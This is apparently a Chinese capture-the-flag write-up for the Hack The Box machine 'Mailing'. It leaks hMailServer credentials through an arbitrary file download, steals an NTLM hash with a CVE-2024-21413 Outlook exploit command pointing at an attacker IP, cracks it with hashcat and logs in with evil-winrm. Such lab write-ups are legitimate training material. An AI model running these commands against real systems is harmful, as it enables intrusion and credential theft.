因为做windows服务器渗透较少,不妥的地方还请师傅们指出
可先看思路,实在不行再看writeup
任意文件下载拿pop3登录邮箱——》利用邮件服务器漏洞拿下NTLM——》利用组件版本漏洞拿下
拿shell
端口扫描开放服务
Host is up (0.91s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mailing
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: TOP UIDL USER
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: IDLE ACL OK completed IMAP4 CAPABILITY QUOTA NAMESPACE IMAP4rev1 RIGHTS=texkA0001 SORT CHILDREN
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
|_smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ssl-date: TLS randomness does not represent time
587/tcp open smtp hMailServer smtpd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp open ssl/imap hMailServer imapd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-15T01:59:24
|_ start_date: N/A
|_clock-skew: -13s
从端口扫描的情况来看,似乎是一个hmailserver的邮件服务器
端口 | 服务 |
21 | smtp |
80 | http |
110 | pop3 |
135 | msrpc |
139 | netbios-ssn |
143 | imap |
445 | microsoft-ds |
465 | ssl-smtp |
587 | smtp |
993 | ssl/imap |
还是先去访问看web网站
web渗透
注意把域名写进hosts里
这里注意到download instuctions,第一反应就是任意文件下载
复制链接,能看到确实有个接入点
尝试下载hosts文件
这里拿到了hosts文件
从这里能知道两点
- 存在任意文件下载漏洞
- 网站根目录运行在c盘
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost127.0.0.1 mailing.htb
后续思路就是获取配置文件,尝试登录邮件服务器
知道服务器搭建的是hmailserver的邮件服务器,搜索他的配置文件目录
Program Files (x86)/hMailServer/Bin/hMailServer.INI
这里能看到拿到了Administrator的hash
[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1
拿给hash-identifier看是那种加密
MD5加密直接网站上解码即可
这里附上解密网站
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊 (hashes.com)
拿到密码
Administrator的hash:homenetworkingadministrator
尝试telnet登录pop3
这里简单介绍一点pop3常用命令
Post Office Protocol version 3 (POP3) 是一种用于从远程邮件服务器下载电子邮件的协议。以下是一些常见的 POP3 命令以及它们的作用:
USER <username>
- 描述:指定用户名。
- 示例:
USER example
PASS <password>
- 描述:指定用户的密码。
- 示例:
PASS password123
STAT
- 描述:返回邮箱中的邮件数量和总大小。
- 示例:
STAT
LIST [msg]
- 描述:列出邮箱中所有邮件,或者指定邮件的编号和大小。
- 示例:
LIST
或LIST 1
RETR <msg>
- 描述:检索指定的邮件内容。
- 示例:
RETR 1
DELE <msg>
- 描述:删除指定的邮件,直到会话结束前才实际删除。
- 示例:
DELE 1
NOOP
- 描述:无操作,只是为了保持连接活跃。
- 示例:
NOOP
RSET
- 描述:重置会话状态,取消所有已标记为删除的邮件。
- 示例:
RSET
QUIT
- 描述:结束会话并关闭连接,删除所有在会话期间标记为删除的邮件。
- 示例:
QUIT
TOP <msg> <n>
- 描述:检索指定邮件的前 n 行内容,不包含邮件的完整主体。
- 示例:
TOP 1 10
UIDL [msg]
- 描述:唯一标识符列表,返回邮箱中每个邮件的唯一标识符。
- 示例:
UIDL
或UIDL 1
telnet 10.10.11.14 110
USER administrator@mailing.htb
PASS homenetworkingadministrator
进入pop3,没有什么可用信息
到这里思路就断了,尝试搜索hMailServer漏洞的漏洞
能找到一个远程rce,继续了解看是否有什么条件
CVE-2024-21413
xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability:Microsoft-Outlook-Remote-Code-Execution-Vulnerability (github.com)
简介
Microsoft Office Outlook是微软office的组件之一,也是常用的邮件客户端之一。CVE-2024-21413 是在 Microsoft Outlook 中发现的一个重大安全漏洞,CVSS 评分 9.8。攻击者将一个带恶意链接的邮件发送给被攻击用户,当用户点击链接时,会导致NTLM窃取与远程代码执行(RCE),并且该漏洞还能使攻击者能够绕过Office文档的受保护视图。本文先讲复现过程,后讲漏洞原理。
这里简单解释一下NTLM,其实是类似于linux的shadow文件里的用户hash,只是加密方式是NTLM
!!!这里因为某些环境问题没有去设置NTLM监听而是Wireshark抓的数据包!!!
如果实在需要监听NTLM可以去看
CVE-2024-21413 Outlook远程代码执行漏洞分析 - FreeBuf网络安全行业门户
python3 1.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.16.8\test\meeting" --subject "test"
maya::MAILING:5e0eb9256971de1f:DEBA7F01E81351DCFEDA3C905CA932E8:010100000000000080BA1036359FDA01E3495C93763B0B450000000002000800460042005600410001001E00570049004E002D003300410035005400350049004F00550048003800330004003400570049004E002D003300410035005400350049004F0055004800380033002E0046004200560041002E004C004F00430041004C000300140046004200560041002E004C004F00430041004C000500140046004200560041002E004C004F00430041004C000700080080BA1036359FDA010600040002000000080030003000000000000000000000000020000080F0D79319E6BB3D505B32F68F03892752BD8DD6272B1FBD42563DB8BA2BE13A0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000
拿到NTLM以后使用hashcat解密,这里使用的是kali自带的dict字典爆破
hashcat -a 0 -m 5600 1.txt ./tools/密码爆破/字典/dict.txt -o 2.txt -O
拿到密码m4y4ngs4ri
用户名maya:密码m4y4ngs4ri
到这里已经拿到了登录的账户以及密码,现在就需要考虑怎么上线,从开放的端口来看并没有什么可用信息,尝试扫一下全端口
这里使用另一个除了nmap以外很好用的扫描工具fscan
GitHub - shengshengli/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
内外网都可扫,并且速度比nmap快很多
fscan -h 10.10.11.14 -p 1-65535
从这里看除了刚开始扫出来的端口,这里漏扫了5040、5985、7680
5985端口是Windows Remote Management(WinRM)服务的默认端口。WinRM是一种远程管理协议,用于在Windows操作系统上进行远程管理和执行命令。通过5985端口,可以使用WinRM协议与目标Windows主机建立连接,并进行诸如远程执行命令、配置管理、监视等操作。
使用WinRM我们可以在对方有设置防火墙的情况下远程管理这台服务器,因为启动WinRM服务后,防火墙默认会放行5985端口。WinRM服务在Windows Server 2012以上服务器自动启动。在WindowsVista上,服务必须手动启动。WinRM的好处在于,这种远程连接不容易被察觉到,也不会占用远程连接数!
这里使用红队神器evil-winrm
Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting (github.com)
ruby evil-winrm.rb -i 10.10.11.14 -u maya -p 'm4y4ngs4ri'
到这里就拿到了第一个flag(在桌面上##desktop)
提权
CVE-2023-2255
elweth-sec/CVE-2023-2255:CVE-2023-2255 Libre Office (github.com)
影响版本
7.4-7.47 7.5-7.53
这一题主要是考察Program Files中的组件提权
Program Files:该文件夹用于存放安装的应用程序和软件
Program Files:存放32位的应用程序和软件,对于某些64为电脑也会一些把32位程序放在这个位置
这里能看到他的版本是7.4版本
因为后续需要执行程序,所以需要找到一个此用户可以执行程序的文件夹
使用get-acl命令可查看文件夹访问控制列表 (ACL) 的示例输出
get-acl 'Important Documents'
从下列信息来看,此文件夹所有者是localadmin,但是maya同样有权限,所以后续操作在此文件夹下执行